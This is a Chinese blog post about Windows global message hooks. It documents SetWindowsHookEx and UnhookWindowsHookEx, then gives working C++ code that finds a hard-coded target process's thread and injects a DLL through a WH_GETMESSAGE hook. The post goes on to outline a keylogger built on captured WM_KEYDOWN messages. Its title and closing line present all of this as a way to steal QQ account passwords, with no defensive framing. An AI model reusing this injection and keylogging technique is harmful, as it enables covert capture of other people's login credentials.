admin管理员组

文章数量:1530923

全局钩子注入-获取QQ密码实现
全局钩子注入-获取QQ密码实现 水一篇✨✨✨✨✨

SetWindowsHookExA
将应用程序定义的挂钩过程安装到挂钩链中。您将安装一个挂钩程序来监视系统中某些类型的事件。这些事件与特定线程或与调用线程相同的桌面中的所有线程相关联。

HHOOK SetWindowsHookExA(
[in] int       idHook,
[in] HOOKPROC lpfn,
[in] HINSTANCE hmod,
[in] DWORD     dwThreadId
);

官网文档 :https://docs.microsoft/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa

第一个参数表示钩子的类型,WH_GETMESSAGE表示安装消息队列的消息钩子(类型比较多 详情可以看文档),它可以监控发送到消息队列的消息。第二个参数表示钩子回调函数。第三个参数表示包含钩子回调函数的dll句柄,如果要设置全局钩子,则该参数必须指定dll模块句柄。第四个参数表示域钩子关联的线程id,0表示全局钩子。

UnhookWindowsHookEx
删除通过SetWindowsHookEx函数安装的钩子。

BOOL UnhookWindowsHookEx(
[in] HHOOK hhk
);

简单代码实现dll注入

#include <windows.h>
#include <iostream>
#include <TlHelp32.h>


HHOOK g_hook;
FARPROC procaddr;
HMODULE Hdll;
LRESULT GetMessPro(int code, WPARAM wParam, LPARAM lparam);

//定义注入函数
BOOL SetGlobalHook()
{
//要注入的进程id
int dwPid = 776;
//使用进程快照 遍历进程 获取线程id
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, dwPid);
THREADENTRY32 te32 = { sizeof(THREADENTRY32) };
BOOL bRet = Thread32First(hSnap, &te32);
if (bRet)
{
do
{
if (te32.th32OwnerProcessID == dwPid)
{
//安装钩子实现dll注入 第一个参数安装消息钩子 第二个参数使用的dll中的函数 第三个参数是dll句柄 第4个参数线程id 如果是全局的用0
g_hook = SetWindowsHookExW(WH_GETMESSAGE, (HOOKPROC)procaddr, (HINSTANCE)Hdll, te32.th32ThreadID);

break;
}
} while (Thread32Next(hSnap, &te32));
}
if (g_hook == NULL)
{
printf("SetGlobalHook error");
}
return TRUE;
}


void main()
{
//加载dll 获取函数地址 执行注入函数
Hdll = LoadLibraryW(L"ConsoleApplication4.dll");
procaddr = GetProcAddress(Hdll, "mess");
SetGlobalHook();
system("pause");
}

通过setWindowsHookEx()实现键盘记录器
实现原理当按下键盘,产生一个消息,按键消息加入到系统消息队列 操作系统从消息队列中取出消息,添加到相应的程序的消息队列中 ;

应用程序使用消息Hook从自身的消息队列中取出消息WM_KEYDOWN,调用消息处理函数。我们可以在系统消息队列之间添加消息钩子,从而使得在系统消息队列消息发给应用程序之前捕获到消息。

可以多次添加钩子,从而形成一个钩子链,可以依次调用函数。

QQ最新版可以直接获取输入的账号密码

<

本文标签: 钩子全局账号密码qq